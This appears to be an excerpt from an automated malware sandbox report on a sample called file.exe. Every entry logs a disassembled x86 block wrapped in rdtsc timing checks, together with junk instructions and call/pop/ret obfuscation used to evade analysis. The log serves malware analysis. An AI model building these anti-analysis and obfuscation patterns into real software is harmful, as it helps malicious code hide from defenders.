Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141392B second address: 141392F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141392F second address: 1413945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413C02 second address: 1413C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F7650B5E936h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141404B second address: 1414058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F7650B5D3D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EF6B second address: 141EF7B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7650B5E936h 0x00000008 je 00007F7650B5E936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EF7B second address: 141EF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EF85 second address: 141EF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E05DD second address: 13E0629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7650B5D3DEh 0x0000000b popad 0x0000000c nop 0x0000000d mov dx, 4B84h 0x00000011 lea eax, dword ptr [ebp+124843EAh] 0x00000017 mov cl, 87h 0x00000019 nop 0x0000001a jmp 00007F7650B5D3DEh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edx 0x00000024 pop edx 0x00000025 jmp 00007F7650B5D3E4h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0629 second address: 13BB0D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F7650B5E938h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov ecx, dword ptr [ebp+122D29ECh] 0x00000029 call dword ptr [ebp+122D1B44h] 0x0000002f jmp 00007F7650B5E93Fh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F7650B5E945h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0C08 second address: 13E0C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0C0C second address: 13E0C81 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jnp 00007F7650B5E94Ah 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jl 00007F7650B5E949h 0x0000001c mov eax, dword ptr [eax] 0x0000001e jno 00007F7650B5E940h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push ebx 0x00000029 push ebx 0x0000002a jc 00007F7650B5E936h 0x00000030 pop ebx 0x00000031 pop ebx 0x00000032 pop eax 0x00000033 mov ecx, 4F0630F2h 0x00000038 stc 0x00000039 push 98E8B0FEh 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push esi 0x00000043 pop esi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0C81 second address: 13E0C87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0D8E second address: 13E0DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0DA4 second address: 13E0E13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F7650B5D3E2h 0x00000010 jmp 00007F7650B5D3E2h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F7650B5D3D8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 nop 0x00000032 push edx 0x00000033 pushad 0x00000034 jp 00007F7650B5D3D6h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d pop edx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jnl 00007F7650B5D3DCh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0F21 second address: 13E0F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007F7650B5E93Ch 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jne 00007F7650B5E942h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F7650B5E941h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pushad 0x00000025 popad 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0F66 second address: 13E0F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0F6C second address: 13E0F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1556 second address: 13E155C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E18FB second address: 13E190D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7650B5E938h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E190D second address: 13E1911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1911 second address: 13E196D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7650B5E941h 0x0000000b popad 0x0000000c nop 0x0000000d pushad 0x0000000e cld 0x0000000f mov eax, dword ptr [ebp+122D2FC2h] 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp+1248442Eh] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F7650B5E938h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 je 00007F7650B5E93Ch 0x0000003c mov dword ptr [ebp+12451C1Ah], edi 0x00000042 mov di, 86EAh 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E196D second address: 13E1971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1971 second address: 13E19CB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F7650B5E938h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 sub dword ptr [ebp+12446E2Fh], ebx 0x0000002e lea eax, dword ptr [ebp+124843EAh] 0x00000034 pushad 0x00000035 cld 0x00000036 and ax, 1915h 0x0000003b popad 0x0000003c nop 0x0000003d pushad 0x0000003e push esi 0x0000003f push ecx 0x00000040 pop ecx 0x00000041 pop esi 0x00000042 jg 00007F7650B5E938h 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jbe 00007F7650B5E936h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E133 second address: 141E139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E439 second address: 141E449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7650B5E936h 0x0000000a je 00007F7650B5E936h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E449 second address: 141E46A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F7650B5D3D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E46A second address: 141E46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E46E second address: 141E478 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7650B5D3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E5BB second address: 141E5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E898 second address: 141E89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421BD9 second address: 1421BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14258D0 second address: 14258D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14258D7 second address: 14258F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F7650B5E93Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14258F4 second address: 14258F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14258F8 second address: 1425900 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428EDA second address: 1428EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428EDE second address: 1428EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428EE4 second address: 1428EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428EED second address: 1428F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7650B5E936h 0x0000000a pop esi 0x0000000b popad 0x0000000c jl 00007F7650B5E969h 0x00000012 pushad 0x00000013 jmp 00007F7650B5E941h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007F7650B5E942h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14291E1 second address: 14291E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14291E7 second address: 14291EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14294AD second address: 14294B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142DDE8 second address: 142DDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142DDF5 second address: 142DDF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142DDF9 second address: 142DE20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7650B5E93Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142DE20 second address: 142DE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142DF84 second address: 142DF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E2AB second address: 142E2B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7650B5D3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1308 second address: 13E130E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E130E second address: 13E131C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13E5 second address: 13E13F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13F5 second address: 13E13FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13A5 second address: 13E13A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13A9 second address: 13E13E5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, 32A6563Fh 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F7650B5D3D8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E416 second address: 142E41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E41A second address: 142E420 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E420 second address: 142E426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E426 second address: 142E42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E42A second address: 142E449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7650B5E944h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E449 second address: 142E453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E453 second address: 142E457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E457 second address: 142E466 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F7650B5D3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433274 second address: 1433278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433278 second address: 14332B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7650B5D3DBh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push edi 0x00000013 pop edi 0x00000014 jl 00007F7650B5D3D6h 0x0000001a pop edi 0x0000001b push eax 0x0000001c pushad 0x0000001d popad 0x0000001e jnl 00007F7650B5D3D6h 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14332B4 second address: 14332BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7650B5E93Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14327D8 second address: 14327DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432971 second address: 1432988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E941h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432988 second address: 143299C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DEh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432AEB second address: 1432B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F7650B5E93Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F7650B5E936h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432B07 second address: 1432B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432C58 second address: 1432C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432DE2 second address: 1432E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7650B5D3E8h 0x0000000f jne 00007F7650B5D3D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A024 second address: 143A02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A02A second address: 143A030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A030 second address: 143A045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7650B5E936h 0x0000000a popad 0x0000000b js 00007F7650B5E93Ah 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A045 second address: 143A04F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A04F second address: 143A06B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Eh 0x00000007 jno 00007F7650B5E936h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A06B second address: 143A06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A06F second address: 143A079 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7650B5E936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A1DC second address: 143A1F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F7650B5D3D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F7650B5D3D6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A345 second address: 143A34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC2D second address: 143AC37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC37 second address: 143AC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AEFF second address: 143AF1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F7650B5D3EDh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B1D0 second address: 143B1DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B1DA second address: 143B1F8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7650B5D3E8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B1F8 second address: 143B22D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jmp 00007F7650B5E93Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F7650B5E949h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B22D second address: 143B249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B249 second address: 143B251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
